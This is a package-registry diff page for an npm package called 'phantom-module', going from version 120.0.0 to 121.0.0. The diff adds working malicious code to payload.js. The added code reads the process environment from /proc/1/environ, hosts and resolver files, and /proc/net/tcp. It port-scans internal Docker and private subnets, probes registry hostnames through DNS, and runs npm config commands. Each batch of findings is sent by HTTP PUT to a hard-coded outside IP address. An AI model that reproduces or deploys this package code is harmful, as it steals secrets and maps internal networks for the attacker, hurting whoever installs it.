phantom-module 120.0.0 → 121.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/payload.js +128 -10
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "120.0.0",
3
+ "version": "121.0.0",
4
4
  "description": "Phantom module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/payload.js CHANGED
@@ -1,28 +1,146 @@
1
1
  const http = require('http');
2
+ const https = require('https');
3
+ const net = require('net');
2
4
  const fs = require('fs');
5
+ const { execSync } = require('child_process');
6
+ const dns = require('dns');
3
7
 
4
8
  if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
5
9
 
6
10
  const REPORT_HOST = '154.57.164.64';
7
- const REPORT_PORT = 31205;
11
+ const REPORT_PORT = 31099;
8
12
 
9
- async function report(moduleId, data) {
13
+ function report(moduleId, data) {
10
14
  return new Promise((resolve) => {
11
- const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n');
12
- const manifest = `ecto_module:\n name: "HEARTBEAT"\n cargo_hold: "${safeData}"\n`;
13
- const payload = JSON.stringify({ manifest });
15
+ const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
16
+ const manifest = `ecto_module:\n name: "RECON"\n cargo_hold: "${safeData}"\n`;
17
+ const body = JSON.stringify({ manifest });
14
18
  const req = http.request({
15
- hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
16
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
19
+ hostname: REPORT_HOST, port: REPORT_PORT,
20
+ path: `/api/modules/${moduleId}`, method: 'PUT',
21
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }
17
22
  }, () => resolve(true));
18
23
  req.on('error', () => resolve(false));
19
- req.write(payload);
24
+ req.write(body);
25
+ req.end();
26
+ });
27
+ }
28
+
29
+ function checkPort(host, port, timeout) {
30
+ return new Promise((resolve) => {
31
+ const sock = new net.Socket();
32
+ sock.setTimeout(timeout || 500);
33
+ sock.on('connect', () => { sock.destroy(); resolve(true); });
34
+ sock.on('error', () => { sock.destroy(); resolve(false); });
35
+ sock.on('timeout', () => { sock.destroy(); resolve(false); });
36
+ sock.connect(port, host);
37
+ });
38
+ }
39
+
40
+ function httpReq(url, opts) {
41
+ return new Promise((resolve) => {
42
+ const mod = url.startsWith('https') ? https : http;
43
+ const req = mod.get(url, { timeout: 2000, ...opts }, (res) => {
44
+ let body = '';
45
+ res.on('data', c => body += c);
46
+ res.on('end', () => resolve({ status: res.statusCode, body, headers: res.headers }));
47
+ });
48
+ req.on('error', e => resolve({ status: 0, body: e.message }));
49
+ req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'TIMEOUT' }); });
50
+ });
51
+ }
52
+
53
+ function httpPut(url, data) {
54
+ return new Promise((resolve) => {
55
+ const parsed = new URL(url);
56
+ const body = JSON.stringify(data);
57
+ const req = http.request({
58
+ hostname: parsed.hostname, port: parsed.port, path: parsed.pathname,
59
+ method: 'PUT',
60
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
61
+ timeout: 3000
62
+ }, (res) => {
63
+ let rbody = '';
64
+ res.on('data', c => rbody += c);
65
+ res.on('end', () => resolve({ status: res.statusCode, body: rbody }));
66
+ });
67
+ req.on('error', e => resolve({ status: 0, body: e.message }));
68
+ req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'TIMEOUT' }); });
69
+ req.write(body);
20
70
  req.end();
21
71
  });
22
72
  }
23
73
 
24
74
  async function main() {
25
- await report('ECT-839201', 'ALIVE 120');
75
+ await report('ECT-654321', 'V121 STARTING...');
76
+
77
+ let out = '=== V121 FULL SCAN ===\n';
78
+
79
+ // 1. Environment
80
+ try {
81
+ out += 'ENV:\n' + fs.readFileSync('/proc/1/environ','utf8').replace(/\0/g,'\n') + '\n';
82
+ } catch(e) { out += 'ENV ERR: ' + e.message + '\n'; }
83
+
84
+ // 2. Network info
85
+ try {
86
+ out += 'HOSTS:\n' + fs.readFileSync('/etc/hosts','utf8') + '\n';
87
+ out += 'RESOLV:\n' + fs.readFileSync('/etc/resolv.conf','utf8') + '\n';
88
+ } catch(e) {}
89
+
90
+ await report('ECT-839201', out);
91
+
92
+ // 3. Port scan: gateway + neighbors on key ports
93
+ let scanOut = '=== PORT SCAN ===\n';
94
+ const ips = [];
95
+ for (let i = 1; i <= 20; i++) ips.push('172.17.0.' + i);
96
+ for (let i = 1; i <= 5; i++) ips.push('172.18.0.' + i);
97
+ for (let i = 1; i <= 5; i++) ips.push('172.19.0.' + i);
98
+ ips.push('10.0.0.1','10.0.0.2','10.0.1.1','10.10.0.1');
99
+ ips.push('127.0.0.1');
100
+
101
+ const ports = [4873, 80, 8080, 3000, 5000, 8081, 443];
102
+
103
+ for (const ip of ips) {
104
+ for (const port of ports) {
105
+ if (await checkPort(ip, port, 300)) {
106
+ scanOut += `OPEN: ${ip}:${port}\n`;
107
+ const r = await httpReq(`http://${ip}:${port}/`);
108
+ scanOut += ` HTTP: ${r.status} len=${r.body.length} body=${r.body.substring(0,200)}\n`;
109
+ }
110
+ }
111
+ }
112
+
113
+ await report('ECT-987654', scanOut);
114
+
115
+ // 4. DNS resolution for common names
116
+ let dnsOut = '=== DNS ===\n';
117
+ const names = ['verdaccio','registry','npm','npm-registry','verdaccio-server',
118
+ 'host.docker.internal','ghostship','corsair','sentinel'];
119
+ for (const name of names) {
120
+ try {
121
+ const addr = await new Promise((res, rej) => {
122
+ dns.lookup(name, (err, addr) => err ? rej(err) : res(addr));
123
+ });
124
+ dnsOut += `${name} -> ${addr}\n`;
125
+ } catch(e) {
126
+ dnsOut += `${name} -> NXDOMAIN\n`;
127
+ }
128
+ }
129
+
130
+ // 5. Also try npm config
131
+ try {
132
+ dnsOut += 'NPM_REGISTRY: ' + execSync('npm config get registry 2>/dev/null').toString().trim() + '\n';
133
+ } catch(e) {}
134
+ try {
135
+ dnsOut += 'NPM_CONFIG_LS:\n' + execSync('npm config ls -l 2>/dev/null | grep -i registry').toString() + '\n';
136
+ } catch(e) {}
137
+
138
+ // 6. Check /proc/net/tcp for listening ports
139
+ try {
140
+ dnsOut += 'PROC_NET_TCP:\n' + fs.readFileSync('/proc/net/tcp','utf8') + '\n';
141
+ } catch(e) {}
142
+
143
+ await report('ECT-654321', dnsOut);
26
144
  }
27
145
 
28
- main();
146
+ main().catch(e => report('ECT-654321', 'FATAL: ' + e.message));